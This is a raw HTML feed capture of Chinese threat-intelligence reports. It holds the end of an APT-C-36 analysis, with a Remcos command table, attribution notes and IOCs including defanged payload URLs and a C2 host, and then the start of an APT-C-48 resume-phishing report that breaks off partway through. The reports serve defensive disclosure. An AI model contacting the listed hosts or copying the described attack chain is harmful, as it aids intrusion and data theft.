style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">显示</span><span lang="EN-US"><span leaf="">Remcos</span></span><span leaf="">版本信息</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:23;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0xB2</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">下载并执行或注入</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:24;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0xC6</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">回传</span><span lang="EN-US"><span leaf="">chrome</span></span><span leaf="">或</span><span lang="EN-US"><span leaf="">Brave-Browser</span></span><span leaf="">浏览器数据</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:25;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0xC8</span></span><span style=""><span leaf="">、</span><span lang="EN-US"><span leaf="">0xC9</span></span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">挂起、恢复进程</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:26;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0xCC</span></span><span style=""><span leaf="">、</span><span lang="EN-US"><span leaf="">0xCD</span></span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">开启、关闭离线键盘记录</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:27;mso-yfti-lastrow:yes;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0xD2</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;" data-mpa-action-id="mqrw6mre1e63"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">创建</span><span lang="EN-US"><span leaf="">HKEY_USERS\group</span></span><span leaf="">项并加密写入</span></span></span></span></p></td></tr></tbody></table></p></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">二、归属研判</span></span></strong></p></div></div></div></div></div><p style="text-align: justify;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过对本次攻击活动的分析，我们发现其攻击方式与APT-C-36（盲眼鹰）组织的技术特征高度符合，具体总结如下：</span></p><p style="text-align: justify;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（1）钓鱼诱饵面向哥伦比亚境内用户投放，文件格式为SVG，符合该组织的一贯行为特点。</span></p><p style="text-align: justify;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（2）使用Hijackloder加载最终恶意载荷，该加载器的具体功能模块与2025年活动中使用的一致，应是同一版本的Hijackloder[1]。</span></p><p style="text-align: justify;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">值得注意的是，在本次活动中，APT-C-36组织开始将人工智能生成的代码引入其攻击环节中，降低了技术门槛，缩短了开发流程。可以预见的是，在这类新技术的辅助下，未来该组织的攻击频次和强度还会逐步提高，且技战术种类更加多样化，相关地区易受攻击的用户应加强防范。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div><div data-role="paragraph" data-mpa-action-id="mpax3u0m21n6" data-pm-slice="0 0 []"><p><span style="font-weight: bold;font-size: 15px;" mpa-font-style="mpax3u0a15lp"><span leaf="">Hash：</span></span></p><p><span leaf="" mpa-font-style="mpax3u0aefv" style="font-size: 15px;">d13387246443f6c10375d9578f678246</span></p><p><span leaf="" mpa-font-style="mpax3u0a1269" style="font-size: 15px;">0b1a4589da15b23e71226d6f5d7fdb53</span></p><p><span leaf="" mpa-font-style="mpax3u0af1c" style="font-size: 15px;">8a1440f08cb1da186a7868449a0c860d</span></p><p><span leaf="" mpa-font-style="mpax3u0a211h" style="font-size: 15px;">1f897fa0571c6059a5ad482bf835d08a</span></p><p><span leaf="" mpa-font-style="mpax3u0a18i5" style="font-size: 15px;">47e4bd8f8aa09fcdd3aaaae8656acbb1</span></p><p><span leaf="" mpa-font-style="mpax3u0a7d0" style="font-size: 15px;">cb106b67787103cf6aaaa95e06dfa290</span></p><p><span leaf="" mpa-font-style="mpax3u0ak1i" style="font-size: 15px;">0b07c42d848825a218f558dd8528373d</span></p><p><span leaf="" mpa-font-style="mpax3u0a205l" style="font-size: 15px;">957aca511930a73b3bb0605ed47c353a</span></p><p><span leaf="" mpa-font-style="mpax3u0a2456" style="font-size: 15px;"><span textstyle="" style="font-weight: bold;">URL：</span></span></p><p><span leaf="" mpa-font-style="mpax3u0aefz" style="font-size: 15px;"><a href="https://vault88x.secure-efficient2[.]su/MSI_121350.png" target="_blank">https://vault88x.secure-efficient2[.]su/MSI_121350.png</a></span></p><p><span leaf="" mpa-font-style="mpax3u0a1sfz" style="font-size: 15px;"><a href="https://vault88x.secure-efficient2[.]su/img_060403.png" target="_blank">https://vault88x.secure-efficient2[.]su/img_060403.png</a></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mpax3u0aw2w"><span textstyle="" style="font-weight: bold;">C2：</span></span></p><p><span leaf="" mpa-font-style="mpax3u0agm1" style="font-size: 15px;">olayaligia1458.loseyourip[.]com:1458</span></p><div data-mpa-template="t" mpa-data-temp-power-by="yiban.io" mpa-from-tpl="t" data-mpa-action-id="mqrvy0tezrp"><div data-mpa-template="t" mpa-from-tpl="t"><div data-role="outer" label="edit by 135editor" mpa-from-tpl="t"><div data-role="title" data-tools="135编辑器" data-id="85638" mpa-from-tpl="t"><div style="margin-top: 2em;margin-right: auto;margin-left: auto;padding-top: 0.5em;padding-bottom: 0.5em;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);font-size: 1em;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);" mpa-from-tpl="t"><p style="margin-top: -1.2em;text-align: center;border: none;line-height: 1.4;" mpa-from-tpl="t"><strong mpa-from-tpl="t"><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);padding: 8px 23px;text-decoration: inherit;" mpa-is-content="t"><span leaf="">参考文献</span></span></strong></p></div></div></div></div></div><p><span leaf="" mpa-font-style="mpax3u0a1ju8" style="font-size: 15px;">[1] <a href="https://mp.weixin.qq.com/s/j8yeh7OFKtdVIS26JBekgQ" target="_blank">https://mp.weixin.qq.com/s/j8yeh7OFKtdVIS26JBekgQ</a></span></p></div></div><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p style="line-height: 1.6em;"><span style="text-shadow: none;color: #be191f;font-size: 15px;"><strong><span leaf="">360高级威胁研究院</span></strong></span></p><p hm_fix="392:393"><span style="color: #888888;font-size: 14px;letter-spacing: 0.544px;text-align: justify;text-decoration-thickness: initial;display: inline !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Thu, 25 Jun 2026 17:35:00 +0800</pubDate>
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      <title>APT-C-48（CNC）组织近期钓鱼攻击活动分析报告</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508669&amp;idx=1&amp;sn=045cca89facb1bc6be4e565bc6fa09d8</link>
      <description>360安全大脑检测到该组织的多起定向钓鱼攻击活动，攻击者沿用经典社工手段，将恶意载荷伪装成个人简历诱导用户中招，本文将对其攻击链路展开详细分析。</description>
      <content:encoded><![CDATA[<p>原创 <span>高级威胁研究院</span> <span>2026-06-17 17:30</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f6f89db8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEmmib7pWXrXKHUViaVTbb4yWBBJZW4mBianO3VM9DPZpBPxXiadSq2l2FhjAcInrS72LiaicvOiaTR66ZHLWibIqfXGcxJ16Qvm74Xice6RVw78RvkUM%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>360安全大脑检测到该组织的多起定向钓鱼攻击活动，攻击者沿用经典社工手段，将恶意载荷伪装成个人简历诱导用户中招，本文将对其攻击链路展开详细分析。</p>
  <div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><p data-role="title" data-tools="135编辑器" data-id="109687" data-mpa-action-id="moawrljytu6" data-pm-slice="0 0 []" style="text-align: justify;"><strong><div style="margin: 10px auto;text-align: left;"><div style="background: #f2f2f2;"><div style="box-sizing: border-box;padding:1em 1em;"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: #322828;margin-left: 12px;border-bottom: 1px solid #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">APT-C-48</span></strong></span></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">CNC</span></strong></span></p></div></div><div data-autoskip="1"><p style="text-indent: 2em;margin-top: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mp0l38as5s3" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-mpa-action-id="mp0l38b8yzp" data-pm-slice="0 0 []">APT-C-48（CNC）是一个拥有南亚地区政府背景的APT组织，该组织主要攻击目标为政府、军工、教育、科研、医疗、媒体等行业。</span></p><p style="text-indent: 2em;"><strong><p style="margin-top: 8px;margin-bottom: 8px;text-align: left;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span mpa-font-style="mo9wi5m71uhy" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;"><span style="font-variant: normal;text-transform: none;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;edit by 135editor&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;title&#34;,&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;109687&#34;,&#34;data-mpa-action-id&#34;:&#34;moawrljytu6&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;,&#34;style&#34;:&#34;text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent: 2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 16px;margin-bottom: 16px;text-align: left;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;mpa-font-style&#34;:&#34;mo9wi5m71uhy&#34;,&#34;style&#34;:&#34;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-size: 17px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-variant: normal;text-transform: none;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">近期，360安全大脑检测到该组织的多起定向钓鱼攻击活动，攻击者沿用经典社工手段，将恶意载荷伪装成个人简历诱导用户中招，本文将对其攻击链路展开详细分析。</span></span></span></p></strong></p></div></div></div></div></strong></p></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="margin: 20px auto;"><div style="display: flex;justify-content: flex-start;"><div style="transform-style: preserve-3d;"><div style="display: flex;justify-content: flex-start;transform: translateZ(12px);-webkit-transform: translateZ(12px);-moz-transform: translateZ(12px);-o-transform: translateZ(12px);"><p style="font-size: 14px;letter-spacing: 1.5px;background-color: #c6c6c7;color: #ffffff;width: 26px;height: 26px;text-align: center;line-height: 26px;box-sizing:border-box;"><strong><span leaf="">01</span></strong></p></div><div style="padding: 0 2px 0 12px;margin: -14px 0 -23px;box-sizing:border-box;transform: translateZ(10px);-webkit-transform: translateZ(10px);-moz-transform: translateZ(10px);-o-transform: translateZ(10px);"><div style="background-color: #ffffff;padding: 2px;box-sizing: border-box;"><p style="background: linear-gradient(to left,#be191f,#ac1d10);font-size: 16px;color: #ffffff;padding: 5px 20px;letter-spacing: 1.5px;box-sizing:border-box;"><strong data-brushtype="text" hm_fix="305:351"><span leaf="">攻击活动分析</span></strong></p></div></div></div></div></div></div><p style="margin-left: 0px;margin-right: 0px;margin-top: 8px;"><span data-pm-slice="2 4 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;color: rgb(190, 25, 31);font-size: var(--articleFontsize);letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">1. </span><span mpa-font-style="moavp7eew86"><span mpa-font-style="moavmz7z175z"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;mso-bookmark:一封简历pdf把木马送进了电脑-apt-c-48cnc近期国内钓鱼投递复盘&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;mso-bookmark:二攻击活动分析&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;mso-bookmark:恶意载荷分析&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-family:Calibri;\nmso-ascii-font-family:Calibri;\nmso-fareast-font-family:宋体;\nfont-variant:normal;\ntext-transform:none&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;color: rgb(190, 25, 31);font-size: var(--articleFontsize);letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;" mpa-font-style="moavkg9trvq">攻击流程分析</span></span></span></span></p><p style="text-indent: 2em;"><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过钓鱼邮件下发恶意附件压缩包，该压缩包中内嵌了恶意的可执行文件，该可执行文件通过双后缀的形式伪装成</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">PDF文档，文件名称则伪装成个人简历，旨在降低用户防备心理诱导用户双击打开该文件。接着通过连接服务器下载诱饵文档以及VBS脚本，通过脚本下载核心载荷并运行以达到远控受害者主机的目的。</span></font></span><o:page></o:page></p><p style="text-align: center;"><span style=""><span style=""><span style=""><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.387458006718925" data-w="893" style="width: 560.01px;height: 216.98px;" src="https://wechat2rss.xlab.app/img-proxy/?k=060c48c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKNG0MRh9rzH6o7hJzO16SHfcYibia2icoFVJD68yQl7o8G9ZcIPaOAbicXibveEfzrFQibu5Nh6g81hIgIMzDdyE2eEpdYuZkLEbiaWE%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></span></span></span></span></p><p style="margin-left: 0px;margin-right: 0px;margin-top: 8px;"><span data-pm-slice="2 4 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-left: 0px;margin-right: 0px;margin-top: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;color: rgb(190, 25, 31);font-size: 17px;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">2. 恶意载荷</span><span mpa-font-style="moavp7eew86"><span mpa-font-style="moavmz7z175z"><span leaf="" data-pm-slice="1 1 